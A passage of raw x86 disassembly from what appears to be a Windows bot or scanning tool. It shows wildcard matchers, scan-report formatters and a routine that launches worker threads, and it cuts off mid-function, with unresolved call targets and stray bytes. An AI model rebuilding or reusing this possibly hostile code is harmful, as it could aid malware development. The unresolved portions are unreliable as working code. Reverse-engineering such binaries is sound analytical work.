loc_40B747:				; CODE XREF: sub_40B713+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B74C:				; CODE XREF: sub_40B713+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B7A9
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B777
; ---------------------------------------------------------------------------


loc_40B764:				; CODE XREF: sub_40B713+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_40B841
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_40B777:				; CODE XREF: sub_40B713+37j
					; sub_40B713+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B71D
; ---------------------------------------------------------------------------


loc_40B77D:				; CODE XREF: sub_40B713+Ej
					; sub_40B713+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_40B78D
		cmp	eax, 1
		jnz	short loc_40B7A4
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_40B77D
; ---------------------------------------------------------------------------


loc_40B78D:				; CODE XREF: sub_40B713+6Dj
		cmp	eax, 1
		jnz	short loc_40B7A4
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_40B7A4
		cmp	byte ptr [esi],	0
		jnz	short loc_40B7A4
		push	1
		pop	eax
		jmp	short loc_40B7A6
; ---------------------------------------------------------------------------


loc_40B7A4:				; CODE XREF: sub_40B713+72j
					; sub_40B713+7Dj ...
		xor	eax, eax


loc_40B7A6:				; CODE XREF: sub_40B713+8Fj
		pop	esi
		pop	ebp
		retn
sub_40B713	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B7A9	proc near		; CODE XREF: sub_40B713+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_40B7CA
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_40B7CA:				; CODE XREF: sub_40B7A9+19j
		push	ebx
		push	esi


loc_40B7CC:				; CODE XREF: sub_40B7A9+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_40B7DA
		cmp	[ebp+var_4], eax
		jnz	short loc_40B826


loc_40B7DA:				; CODE XREF: sub_40B7A9+2Aj
		test	edi, edi
		jnz	short loc_40B81B
		cmp	bl, 2Dh
		jnz	short loc_40B80F
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_40B80F
		cmp	al, 5Dh
		jz	short loc_40B80F
		cmp	[ebp+var_4], edi
		jnz	short loc_40B80F
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_40B81B
		cmp	bl, al
		jg	short loc_40B81B
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_40B81B
; ---------------------------------------------------------------------------


loc_40B80F:				; CODE XREF: sub_40B7A9+38j
					; sub_40B7A9+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_40B81B
		push	1
		pop	edi


loc_40B81B:				; CODE XREF: sub_40B7A9+33j
					; sub_40B7A9+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_40B7CC
; ---------------------------------------------------------------------------


loc_40B826:				; CODE XREF: sub_40B7A9+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_40B833
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_40B833:				; CODE XREF: sub_40B7A9+82j
		cmp	edi, eax
		jnz	short loc_40B83C
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_40B83C:				; CODE XREF: sub_40B7A9+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_40B7A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B841	proc near		; CODE XREF: sub_40B713+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_40B85D:				; CODE XREF: sub_40B841+3Aj
		cmp	[eax], bl
		jz	short loc_40B87D
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_40B872
		cmp	cl, 2Ah
		jnz	short loc_40B87D
		cmp	cl, 3Fh
		jnz	short loc_40B875


loc_40B872:				; CODE XREF: sub_40B841+25j
		inc	eax
		mov	[edi], eax


loc_40B875:				; CODE XREF: sub_40B841+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_40B85D
; ---------------------------------------------------------------------------


loc_40B87D:				; CODE XREF: sub_40B841+1Ej
					; sub_40B841+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40B888
		inc	dword ptr [esi]
		jmp	short loc_40B87D
; ---------------------------------------------------------------------------


loc_40B888:				; CODE XREF: sub_40B841+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_40B89A
		xor	eax, eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B89A:				; CODE XREF: sub_40B841+53j
		cmp	cl, bl
		jnz	short loc_40B8A9
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_40B8A9
		push	1
		pop	eax
		jmp	short loc_40B909
; ---------------------------------------------------------------------------


loc_40B8A9:				; CODE XREF: sub_40B841+4Dj
					; sub_40B841+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40B8F3


loc_40B8B7:				; CODE XREF: sub_40B841+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_40B8BB:				; CODE XREF: sub_40B841+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_40B8D3
		cmp	cl, 5Bh
		jz	short loc_40B8D3
		cmp	dl, bl
		jz	short loc_40B8D3
		inc	eax
		mov	[edi], eax
		jmp	short loc_40B8BB
; ---------------------------------------------------------------------------


loc_40B8D3:				; CODE XREF: sub_40B841+82j
					; sub_40B841+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_40B8EA
		push	eax
		push	dword ptr [esi]
		call	sub_40B713
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40B8EF
; ---------------------------------------------------------------------------


loc_40B8EA:				; CODE XREF: sub_40B841+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_40B8EF:				; CODE XREF: sub_40B841+A7j
		cmp	eax, ebx
		jnz	short loc_40B8B7


loc_40B8F3:				; CODE XREF: sub_40B841+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_40B906
		mov	[ebp+var_4], 1


loc_40B906:				; CODE XREF: sub_40B841+B6j
					; sub_40B841+BCj
		mov	eax, [ebp+var_4]


loc_40B909:				; CODE XREF: sub_40B841+57j
					; sub_40B841+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B841	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B90E	proc near		; CODE XREF: sub_401ACD+2AB2p

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		push	ebx
		push	edi
		lea	eax, [ebp+var_200]
		push	offset unk_431B94
		push	eax
		xor	ebx, ebx
		call	sub_41C266
		cmp	dword_4317F8, ebx
		pop	ecx
		pop	ecx
		mov	edi, 200h
		jz	short loc_40B980
		push	esi
		mov	esi, offset dword_431800


loc_40B941:				; CODE XREF: sub_40B90E+6Fj
		mov	eax, [esi]
		test	eax, eax
		jbe	short loc_40B976
		add	ebx, eax
		push	eax
		lea	eax, [esi-26h]
		push	eax
		lea	eax, [ebp+var_400]
		push	offset dword_431B88
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		add	esp, 1Ch


loc_40B976:				; CODE XREF: sub_40B90E+37j
		add	esi, 40h
		cmp	dword ptr [esi-8], 0
		jnz	short loc_40B941
		pop	esi


loc_40B980:				; CODE XREF: sub_40B90E+2Bj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	ebx
		lea	eax, [ebp+var_400]
		push	offset aTotalDInS_ ; " Total: %d in %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_400]
		push	edi
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 34h
		pop	edi
		pop	ebx
		leave
		retn
sub_40B90E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B9DD	proc near		; CODE XREF: sub_401ACD+2A9Cp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		mov	eax, dword_4CE4E0
		mov	ecx, dword_4CE4DC
		push	esi
		push	dword_4CB714
		lea	esi, [ecx+eax]
		call	sub_41ADD8
		pop	ecx
		push	eax
		push	esi
		push	dword_4CE4E0
		lea	eax, [ebp+var_200]
		push	dword_4CE4DC
		push	offset unk_431BB4
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	esi
		leave
		retn
sub_40B9DD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA49	proc near		; CODE XREF: sub_401ACD+2A86p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	dword_4CE718
		push	offset unk_431BFC
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 28h
		leave
		retn
sub_40BA49	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BA9E	proc near		; CODE XREF: sub_401ACD+2A70p

var_1000	= byte ptr -1000h
var_800		= byte ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	edi
		lea	eax, [ebp+var_800]
		push	offset dword_431C48
		push	eax
		call	sub_41C266
		cmp	dword_4317F8, 0
		pop	ecx
		pop	ecx
		mov	edi, 800h
		jz	short loc_40BB0A
		push	esi
		mov	esi, offset aSymantec ;	"Symantec"


loc_40BAD3:				; CODE XREF: sub_40BA9E+69j
		lea	eax, [esi-0Ah]
		push	eax
		push	esi
		lea	eax, [ebp+var_1000]
		push	offset dword_431C38
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		add	esi, 40h
		add	esp, 1Ch
		cmp	dword ptr [esi+1Eh], 0
		jnz	short loc_40BAD3
		pop	esi


loc_40BB0A:				; CODE XREF: sub_40BA9E+2Dj
		push	dword_4CB714
		call	sub_41ADD8
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1000]
		push	offset aScanTimeS_ ; " Scan Time: %s."
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1000]
		push	edi
		push	eax
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_41CBC0
		push	0
		lea	eax, [ebp+var_800]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_800]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		leave
		retn
sub_40BA9E	endp

; ---------------------------------------------------------------------------
byte_40BB65	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+309Ao
; ---------------------------------------------------------------------------
		sub	esp, 3F0h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Bh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-134h]
		rep movsd
		mov	dword ptr [eax+128h], 1
		lea	eax, [ebp-134h]
		push	eax
		call	dword_4CBA14
		xor	edi, edi
		mov	[ebp-8], eax
		cmp	dword_4317F8, edi
		mov	[ebp-4], edi
		mov	[ebp+8], edi
		jz	loc_40BCC7
		mov	ebx, offset dword_4317F8
		mov	eax, ebx


loc_40BBB6:				; CODE XREF: ___:0040BCC1j
		push	dword ptr [ebp-1Ch]
		push	dword ptr [eax]
		push	dword ptr [ebp-8]
		call	sub_40C34B
		add	esp, 0Ch
		cmp	eax, 1
		jnz	loc_40BCB7
		push	dword ptr [ebx]
		lea	esi, [ebx-28h]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [esi+0Ah]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C98
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		add	esp, 2Ch
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-1ECh]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp-15Ch]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		cmp	byte ptr [ebp-0A4h], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp-0A4h]
		jnz	short loc_40BC52
		lea	eax, [ebp-124h]


loc_40BC52:				; CODE XREF: ___:0040BC4Aj
		push	eax
		lea	eax, [ebp-1DCh]
		push	eax
		call	sub_41C266
		mov	eax, [ebp-24h]
		pop	ecx
		mov	[ebp-1F0h], eax
		mov	eax, [ebp-14h]
		mov	[ebp-140h], eax
		mov	eax, [ebp-10h]
		pop	ecx
		mov	[ebp-13Ch], eax
		mov	eax, [ebx]
		sub	esp, 0BCh
		mov	[ebp-150h], eax
		mov	eax, [ebp-18h]
		push	2Fh
		mov	[ebp-14Ch], eax
		mov	eax, [ebp+8]
		pop	ecx
		lea	esi, [ebp-1F0h]
		mov	edi, esp
		mov	[ebp-148h], eax
		rep movsd
		call	dword ptr [ebx+4]
		add	esp, 0BCh
		inc	dword ptr [ebp-4]
		xor	edi, edi


loc_40BCB7:				; CODE XREF: ___:0040BBC9j
		inc	dword ptr [ebp+8]
		add	ebx, 40h
		mov	eax, ebx
		cmp	[ebx], edi
		jnz	loc_40BBB6


loc_40BCC7:				; CODE XREF: ___:0040BBA9j
		push	dword ptr [ebp-4]
		lea	eax, [ebp-134h]
		push	eax
		lea	eax, [ebp-3F0h]
		push	offset unk_431C64
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp-3F0h]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-124h]
		push	eax
		push	dword ptr [ebp-24h]
		call	sub_409869
		lea	eax, [ebp-3F0h]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		add	esp, 2Ch
		push	edi
		nop
; ---------------------------------------------------------------------------
		db 0E8h, 0E6h, 42h
		db 2Fh,	2

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD1A	proc near		; CODE XREF: sub_401ACD+23F4p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	0Bh
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_40BD56
		mov	eax, [ebp+arg_C]
		push	dword_4CBB20[eax*8]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_200]
		push	offset unk_431CE8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40BD69
; ---------------------------------------------------------------------------


loc_40BD56:				; CODE XREF: sub_40BD1A+13j
		lea	eax, [ebp+var_200]
		push	offset unk_431CC8
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40BD69:				; CODE XREF: sub_40BD1A+3Aj
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		add	esp, 18h
		leave
		retn
sub_40BD1A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40BD91	proc near		; CODE XREF: sub_40C3E8+267p

var_210		= dword	ptr -210h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_10		= byte ptr  18h
arg_90		= byte ptr  98h
arg_110		= dword	ptr  118h
arg_130		= dword	ptr  138h
arg_138		= dword	ptr  140h
arg_13C		= dword	ptr  144h

		push	ebp
		mov	ebp, esp
		sub	esp, 204h
		mov	eax, [ebp+arg_130]
		push	ebx
		cmp	eax, 0FFFFFFFFh
		push	esi
		jz	loc_40C263
		shl	eax, 6
		xor	ebx, ebx
		cmp	dword_431804[eax], ebx
		jz	loc_40C263
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C018
		mov	eax, dword_429078
		push	edi
		mov	esi, offset dword_4CDBDC
		push	104h
		push	esi
		push	ebx
		mov	dword_4CDDEC, eax
		mov	dword_4CDDE8, ebx
		nop
		call	near ptr 2690000h
		mov	edi, offset byte_429108
		push	103h
		push	edi
		push	offset dword_4CDCE0
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDBD8, eax
		mov	eax, [ebp+arg_138]
		push	7Fh
		mov	dword_4CDE70, eax
		jnz	short loc_40BE44
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, 1
		jmp	short loc_40BE5E
; ---------------------------------------------------------------------------


loc_40BE44:				; CODE XREF: sub_40BD91+94j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDDF0
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDE74, ebx


loc_40BE5E:				; CODE XREF: sub_40BD91+B1j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CDDEC
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CDDE4, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDBD8
		push	offset byte_412197
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, dword_4CDDE4
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BECC


loc_40BEBA:				; CODE XREF: sub_40BD91+139j
		cmp	dword_4CDE78, ebx
		jnz	short loc_40BEE7
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40BEBA
; ---------------------------------------------------------------------------


loc_40BECC:				; CODE XREF: sub_40BD91+127j
		nop
		call	near ptr 26A096Ch
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431E08
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40BEE7:				; CODE XREF: sub_40BD91+12Fj
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		mov	eax, dword_4CB710
		mov	esi, offset dword_4CDE84
		mov	[esp+210h+var_210], 104h
		push	esi
		push	ebx
		mov	dword_4CE094, eax
		mov	dword_4CE090, ebx
		nop
		call	near ptr 2690000h
		push	103h
		push	edi
		push	offset dword_4CDF88
		call	sub_41BFD0
		mov	eax, [ebp+arg_110]
		add	esp, 0Ch
		cmp	[ebp+arg_90], bl
		mov	dword_4CDE80, eax
		mov	eax, [ebp+arg_138]
		pop	edi
		mov	dword_4CE118, eax
		push	7Fh
		jnz	short loc_40BF68
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, 1
		jmp	short loc_40BF82
; ---------------------------------------------------------------------------


loc_40BF68:				; CODE XREF: sub_40BD91+1B8j
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CE098
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CE11C, ebx


loc_40BF82:				; CODE XREF: sub_40BD91+1D5j
		push	esi
		lea	eax, [ebp+var_204]
		push	dword_4CE094
		push	offset unk_431DD4
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	4
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	dword_4CE08C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDE80
		push	offset word_40F3AA
		push	ebx
		push	ebx
		call	near ptr 26A0060h
		nop
		mov	ecx, dword_4CE08C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40BFF0


loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE120, ebx
		jnz	short loc_40C00B
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		call	near ptr 26A096Ch
		nop
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43180C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE710
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB44, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB38, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB40, ebx
		mov	dword_4CDBC8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB44
		lea	eax, [ebp+var_204]
		push	offset unk_431D70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB38
		push	offset dword_40F108
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, dword_4CDB3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBD0, ebx
		jnz	short loc_40C12E
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		nop
		call	near ptr 26A096Ch
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431808[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3B4
		push	104h
		push	esi
		push	ebx
		call	near ptr 2690000h
		nop
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4CC, ebx
		mov	dword_4CE4B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE12C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE128, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4B8
		mov	dword_4CE4C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4C8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE128
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		nop
		call	near ptr 26A0060h
		mov	ecx, dword_4CE4C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4D4, ebx
		jnz	short loc_40C256
		push	32h
		nop
		call	near ptr 26A0000h
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		nop
		call	near ptr 26A096Ch
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D04
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
